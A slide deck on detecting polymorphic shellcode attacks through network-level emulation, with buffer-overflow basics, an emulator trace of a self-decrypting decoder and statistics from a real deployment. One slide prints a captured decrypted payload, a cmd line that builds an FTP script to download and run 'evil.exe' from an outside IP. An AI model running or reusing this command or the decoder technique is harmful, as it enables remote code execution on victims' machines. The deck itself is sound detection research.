Detecting Polymorphic Cyberattacks

Evangelos Markatos
FORTH-ICS

work done with
Michalis Polychronakis
FORTH and Columbia U
Outline

- Introduction to the problem: shell code attacks – buffer overflows
- Polymorphic attacks (self modifying shell-code)
- Network-level Emulation (NEMU)
- Findings from real-world deployment
- Conclusion
Attackers need compromised computers

- click fraud
- port scanning
- extortion
- phishing
- illegal content
- DDoS
- code injection
- malicious websites
- spam
Code Injection Attacks

Shell code
Remote Code-injection Attacks

- Code-injection attacks persist
  - Among the most common methods for remote system compromise
  - e.g., Conficker (MS08-067)
- Mechanics
  1. Send malicious request to network service
  2. Divert the execution flow of the vulnerable process
     - Buffer Overflow
     - (Stack/heap/integer overflow, format string abuse, …)
  3. Execute the injected code (**shellcode**)
     - Performs arbitrary operations under the privileges of the vulnerable process

\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00
What is a buffer overflow?

```c
main()
    {f(10);
     ret_addr: printf("End of program\n"); }

void f ( int x )
    {
     char buffer[10];
     scanf("%s", &buffer);
     // other code
    }

What if the input data is longer than 10 bytes?
```
What is a buffer overflow?

- Buffer overflow
- Attacker puts code
  - i.e. `execve(/bin/sh)`
  - In buffer[10]
- And transfers control to it
- Via the return address
To make matters worse...

- **Problem**: obfuscated polymorphic shellcode can be highly evasive
  - Each attack instance looks different from each other
    - Difficult to fingerprint

  ![Diagram](image1)

- Self-modifying code can hide the real malicious code
  - Difficult to statically analyze

  ![Diagram](image2)
Our solution: Network-level Emulation

- **Main idea:** execute each network request as if it were executable code
  - Resilience to code obfuscation

- **Identify the inherent execution behavior of polymorphic shellcode**
  - Focus on the decryption process
  - Generic, independent of the exploit/vulnerability/OS
Polymorphic Shellcode

- **Self-decryption code**
  - The actual shellcode is not revealed until runtime
- **Shellcode “packing”** has become essential
  - IDS Evasion
  - Avoidance of restricted bytes in the attack vector
Shellcode as seen on the wire

```markdown
skipping 1 executed instructions

<table>
<thead>
<tr>
<th></th>
<th>60000001</th>
<th>42</th>
<th>inc edx</th>
<th>edx 2A500E51</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>60000002</td>
<td>90</td>
<td>nop</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>60000003</td>
<td>42</td>
<td>inc edx</td>
<td>edx 2A500E52</td>
</tr>
<tr>
<td>4</td>
<td>60000004</td>
<td>90</td>
<td>nop</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>60000005</td>
<td>42</td>
<td>inc edx</td>
<td>edx 2A500E53</td>
</tr>
<tr>
<td>6</td>
<td>60000006</td>
<td>90</td>
<td>nop</td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>60000007</td>
<td>42</td>
<td>inc edx</td>
<td>edx 2A500E54</td>
</tr>
<tr>
<td>8</td>
<td>60000008</td>
<td>EB02</td>
<td>jmp 0x6000000c</td>
<td></td>
</tr>
<tr>
<td>9</td>
<td>6000000c</td>
<td>E8F9FFFFFE</td>
<td>call 0x6000000a</td>
<td>esp 600043BC</td>
</tr>
<tr>
<td>10</td>
<td>6000000a</td>
<td>EB05</td>
<td>jmp 0x60000011</td>
<td></td>
</tr>
<tr>
<td>11</td>
<td>60000011</td>
<td>5B</td>
<td>pop ebx</td>
<td>ebx 60000011</td>
</tr>
<tr>
<td>12</td>
<td>60000012</td>
<td>31C9</td>
<td>xor ecx,ecx</td>
<td>ecx 00000000</td>
</tr>
<tr>
<td>13</td>
<td>60000014</td>
<td>B1FD</td>
<td>mov cl,0xfd</td>
<td>ecx 000000FD</td>
</tr>
<tr>
<td>14</td>
<td>60000016</td>
<td>B0730C77</td>
<td>xor byte [ebx+0xc],0x77</td>
<td></td>
</tr>
<tr>
<td>15</td>
<td>6000001a</td>
<td>43</td>
<td>inc ebx</td>
<td></td>
</tr>
</tbody>
</table>
```

Actual decrypted payload

h...h....W........cmd /c echo open 61.36.242.10 2955 > i&echo user 1 1 >> i &echo get evil.exe >> i &echo quit >> i &ftp -n -s:i &evil.exe
Overall Activity: External Attacks

413,536 attacks

23 ports
Overall Activity: Internal Attacks

- Large attack volume due to infected hosts
  - Against hosts inside and outside the organization

862,083 attacks
Attacked Services

<table>
<thead>
<tr>
<th>Port</th>
<th>Service</th>
</tr>
</thead>
<tbody>
<tr>
<td>21</td>
<td>FTP</td>
</tr>
<tr>
<td>25</td>
<td>SMTP</td>
</tr>
<tr>
<td>42</td>
<td>WINS</td>
</tr>
<tr>
<td>80</td>
<td>Web</td>
</tr>
<tr>
<td>110</td>
<td>POP3</td>
</tr>
<tr>
<td>135</td>
<td>Location service</td>
</tr>
<tr>
<td>139</td>
<td>NETBIOS</td>
</tr>
<tr>
<td>143</td>
<td>IMAP</td>
</tr>
<tr>
<td>445</td>
<td>SMB</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Port</th>
<th>Service</th>
</tr>
</thead>
<tbody>
<tr>
<td>453</td>
<td>CreativeServer</td>
</tr>
<tr>
<td>1023</td>
<td>W32.Sasser's FTP server</td>
</tr>
<tr>
<td>1025</td>
<td>MS RPC</td>
</tr>
<tr>
<td>1029</td>
<td>DCOM (alternative)</td>
</tr>
<tr>
<td>1082</td>
<td>WinHole trojan</td>
</tr>
<tr>
<td>1433</td>
<td>MS SQL server</td>
</tr>
<tr>
<td>2000</td>
<td>ShixxNOTE 6.net</td>
</tr>
<tr>
<td>2010</td>
<td>Oracle XDB FTP server</td>
</tr>
<tr>
<td>2010</td>
<td>MS Message Queuing service</td>
</tr>
<tr>
<td>2967</td>
<td>Symantec</td>
</tr>
<tr>
<td>2968</td>
<td>Symantec</td>
</tr>
<tr>
<td>3050</td>
<td>Borland InterBase DB server</td>
</tr>
<tr>
<td>5000</td>
<td>MS UPnP/SSDP</td>
</tr>
<tr>
<td>5554</td>
<td>W32.Sasser's FTP server</td>
</tr>
<tr>
<td>6881</td>
<td>P2P file sharing client</td>
</tr>
<tr>
<td>30708</td>
<td>unknown</td>
</tr>
<tr>
<td>41523</td>
<td>CA BrightStor Agent (MS SQL)</td>
</tr>
</tbody>
</table>
Shellcode Diversity

- In most cases, the number of unique shellcodes as seen on the wire is comparable to the number of attacks
  - Polymorphism
  - Variable fields in the initial shellcode
Summary

- Pattern matching/static analysis not enough
  - Highly polymorphic and self-modifying code
- Network-level emulation
  - Detects self-modifying polymorphic shellcode
- Remote code-injection attacks are still a threat
  - Increasing sophistication
- Attackers have also turned their attention to less widely used services and third-party applications
Detecting Polymorphic Cyberattacks

Evangelos Markatos
FORTH-ICS

work done with
Michalis Polychronakis
FORTH and Columbia U